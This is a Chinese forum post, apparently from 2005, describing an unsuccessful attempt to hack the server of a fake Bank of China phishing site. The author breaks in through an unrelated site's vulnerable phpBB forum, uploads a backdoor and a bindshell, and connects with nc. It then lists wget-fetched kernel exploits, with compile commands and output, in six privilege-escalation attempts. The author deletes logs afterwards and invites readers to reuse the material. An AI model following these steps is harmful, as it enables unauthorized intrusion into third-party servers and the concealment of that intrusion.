发新话题
打印

虚假中国银行入侵尝试实录

虚假中国银行入侵尝试实录

本来不打算把这个不成功的入侵写出来的,后来有几个朋友想看,既然能在内部交流,也没有什么见不得人的,索性发出来,初学者可以借鉴一点经验,高手可以在此基础上作更多尝试,我也想多学点东西。  
  27日晚看到天天网的一片报道:中国银行网站再次遭遇克隆 假网站远在北美  
  本来要整理规划的,既然出了这个事情,好歹看看吧。废话不说,开始!  
  1、收集信息  
服务器信息:   
  Apache/1.3.33      
  PHP/4.3.9   
网站主文件:   

http://www.banochi.net/english/index.shtml
   
  查看虚假网站,基本没发现什么可用的东西,估计只有记录密码和ip的cgi程序。除了服务器入侵,还可以考虑旁注。  
  检索其他站点,分析了几个php站点的注入,没太多利用的地方。想起phpbb的洞洞,写段代码检索一下viewtopic.php文件,找到一个phpbb2.0.10入侵点  

http://www.bits-clsu.org/forum/viewtopic.php?t=1
   
  事后才想起可以用旁注工具直接来检索,反正都一样。  
  2、上传木马  
  利用phpbb的洞,漏洞介绍“phpBB远程任意SQL注入漏洞”,“phpbb%26lt;2.0.11程序的sql注入漏洞分析”上传php后门。  
  3、生成bindshell  
  我还在看文件的时候,Edward就已经做了个bindshell出来,呵呵!基本方法:  
  上传bindshell.c  
gcc -o /tmp/bind bindshell.c   
/tmp/bind     
  nc上去看看,还是在shell下比较方便。  
nc -vv 216.22.48.72 7758   
  4、采集系统信息  
  拿到webshell后就可以获得一些基本的信息包括passwd、httpd.conf等等,检索到虚假网站的绝对路径 /home/banochin/public_html/,在webshell中查看文件创建的时期是服务器时间2004-12-15,在其cgi- bin目录下有如下文件  
文件     创建日期         最后修改         大小     属性     
[member]   2005-02-21 21:39:03 2005-02-21 21:39:03 0700     
errlog.dat 2005-02-28 00:32:22 2005-02-28 00:32:22 140.186 KB 0600     
id.dat   2005-02-24 10:48:35 2005-02-24 10:48:35 1.727 KB 0600     
index.htm 2004-12-15 03:19:51 2004-12-15 03:19:51 0.697 KB 0644   
pwd.dat   2005-02-25 00:36:15 2005-02-25 00:36:15 0.170 KB 0600     
pwdbak.dat 2004-12-15 03:24:17 2004-12-15 03:19:55 0.516 KB 0600     
security.cgi 2004-12-15 03:24:03 2004-12-15 03:20:00 44.363 KB 0700     
visemailer.cgi 2004-12-15 03:24:04 2004-12-15 03:20:02 3.554 KB 0700   
  可以看到最后记录的密码日期是2月25日,而浏览目录后发现还包括了很多其他语言的中国银行网站内容,但基本都是html文件,想必是从中国银行直接webdump下来的。  
  内核信息,因为我们对其目录没有写权限,接着要做的就是提权了。前后大概用了1小时左右,而剩下的提权工作却花了我1天多的时间,结果还是没搞定,郁闷!  
uname -r   
2.4.20-021stab022.11.777-enterprise   
  5、本地提升权限测试  
  增加环境变量  
  export PATH=/usr/bin:$PATH  
  否则会出现collect2: cannot find `ld’错误!  
(1)Linux Kernel moxa串行驱动BSS溢出漏洞  
  grsecurity 2.1.0 release / 5 Linux kernel advisories  
URL:  
  http://www.nsfocus.net/index.php?act=sec_bug%26do=view%26bug_id=7446%26keyword=  
  http://lists.netsys.com/pipermail/full-disclosure/2005-January/030660.html  
文件:  
  http://grsecurity.net/"spender/exploits_and_patches.tgz  
测试:  
wget http://grsecurity.net/"spender/exploits_and_patches.tgz   
tar -zxvf exploits_and_patches.tgz   
cd exploits_and_patches   
make alloc=0x100000     nasm -f elf -DALLOCATE=32482374 mlock-dos.S   
make: nasm: Command not found   
make: *** [ all ] Error 127   
结论:  
  缺少nasm,即使上传rpm也不能够执行安装!  
(2)Linux Kernel uselib()特权提升漏洞  
  Linux kernel sys_uselib local root vulnerability  
URL:  
  http://www.nsfocus.net/index.php?act=sec_bug%26do=view%26bug_id=7326%26keyword=  
  http://marc.theaimsgroup.com/?l=bugtraq%26m=110513415105841%26q=raw  
  http://marc.theaimsgroup.com/?l=bugtraq%26m=110512575901427%26w=2  
  http://isec.pl/vulnerabilities/isec-0021-uselib.txt  
文件:  
  http://marc.theaimsgroup.com/?l=bugtraq%26m=110512575901427%26q=p3  
测试:  
gcc -O2 -fomit-frame-pointer elflbl_v108.c -o elflbl_v108     elflbl_v108.c: In function `check_vma_flags’:   
elflbl_v108.c:545: warning: deprecated use of label at end of compound statement     ./elflbl_v108       child 1 VMAs 0   
[+] moved stack bff73000, task_size=0xc0000000, map_base=0xbf800000   
[+] vmalloc area 0xc7c00000 - 0xcf707000   
  Wait... -Segmentation fault     gcc -O2 -fomit-frame-pointer elflbl_v109.c -o elflbl_v109   
./elflbl_v109     [+] SLAB cleanup   
[-] FAILED: get_slab_objs: /proc/slabinfo not readable? (No such file or directory)   
sh: line 9: 24080 Killed             ./elflbl_v109   
(3)Linux内核本地整数溢出和内存泄露漏洞  
  fun with linux kernel  
URL:  
  http://www.nsfocus.net/index.php?act=sec_bug%26do=view%26bug_id=7269%26keyword=  
  http://marc.theaimsgroup.com/?l=full-disclosure%26m=110374209001676%26w=2  
测试:  
gcc -o vc vc_resize.c   
./vc_resize     open: No such device or address     gcc memory_leak.c -o memory_leak     memory_leak.c:80:2: warning: no newline at end of file   
(4)Linux Kernel do_mremap VMA本地权限提升漏洞  
  Linux kernel do_mremap VMA limit local privilege escalation  
URL:  
  http://www.nsfocus.net/index.php?act=sec_bug%26do=view%26bug_id=6102%26keyword=%CC%E1%C9%FD  
  http://isec.pl/vulnerabilities/isec-0014-mremap-unmap.txt  
文件:  
  http://rhea.oamk.fi/"pyanil00/temp/mremap_pte.c  
测试:  
gcc -O3 -static -fomit-frame-pointer mremap_pte.c -o mremap_pte   
./mremap_pte     [+] kernel 2.4.20-021stab022.11.777-enterprise vulnerable: YES exploitable YES   
  MMAP #65530 0x50bfa000 - 0x50bfb000   
[-] Failed   
(5)Linux Kernel kmod/ptrace竞争条件权限提升漏洞  
  linux kmod/ptrace bug - details  
URL:  
  http://www.nsfocus.net/index.php?act=sec_bug%26do=view%26bug_id=4570%26keyword=%CC%E1%C9%FD  
  http://marc.theaimsgroup.com/?l=bugtraq%26m=104811209231385%26w=2  
文件:  
  http://august.v-lo.krakow.pl/"anszom/km3.c  
测试:  
gcc -o km3 km3.c   
./km3 ?     Usage: ./km3 [-d] [-b] [-r] [-s] [-c executable]   
    -d     -- use double-ptrace method (to run interactive programs)   
    -b     -- start bindshell on port 4112   
    -r     -- support randomized pids   
    -c     -- choose executable to start   
    -s     -- single-shot mode - abort if unsuccessful at the first try     ./km3 -s     Linux kmod + ptrace local root exploit by       =%26gt; Simple mode, executing /usr/bin/id %26gt; /dev/tty   
sizeof(shellcode)=95   
=%26gt; Child process started..........   
Failed   
(6)Linux Kernel i386 SMP页错误处理器特权提升漏洞  
  Linux kernel i386 SMP page fault handler privilege escalation  
URL:  
  http://www.nsfocus.net/index.php?act=sec_bug%26do=view%26bug_id=7338  
  http://marc.theaimsgroup.com/?l=bugtraq%26m=110554694522719%26w=2  
测试:  
gcc -o smp smp.c   
./smp     [+] in thread 1 (pid = 5400)   
[+] in thread 2 (pid = 5401)   
[+] rdtsc calibration: 53428   
[+] exploiting race, wait...   
[-] unable to exploit race in 30s,   
kernel patched or load too high.   
  尝试多个本地提权均未能成功!很郁闷!而在测试过程的时候,虚假网站已经被关闭了,虽然文件还在,但是很明显官方已经作了努力,并得到了不错的结果。  
  6、其他  
  找了几个linux的键盘记录,都要root权限。而服务器远程连接使用的ssh的,使用sniffer也估计没戏,所以暂时也没什么思路,清理exp、日志文件。  
  以上是我的一些测试的结果,结果也没有拿到root,不过我整理了一下相关的漏洞,希望对大家以后有些帮助。在站长群里发布了相关的结果,也没有人回话,不知道大家是太忙。。。  
  文中并未特殊处理漏洞及结果,有兴趣的可以直接利用,不过没必要为难其他站点,我想大家明白我的意思!  
  折腾了这么久,还有好多工作的事情要做!希望不会被老板说,呵呵!  
  最后感谢Edward、老黑及几位公司的高人!  
  文章可随意转载,但请注明出处,尤其文中全部及部分内容不得用户任何商业或收费行为,谢谢!

TOP

发新话题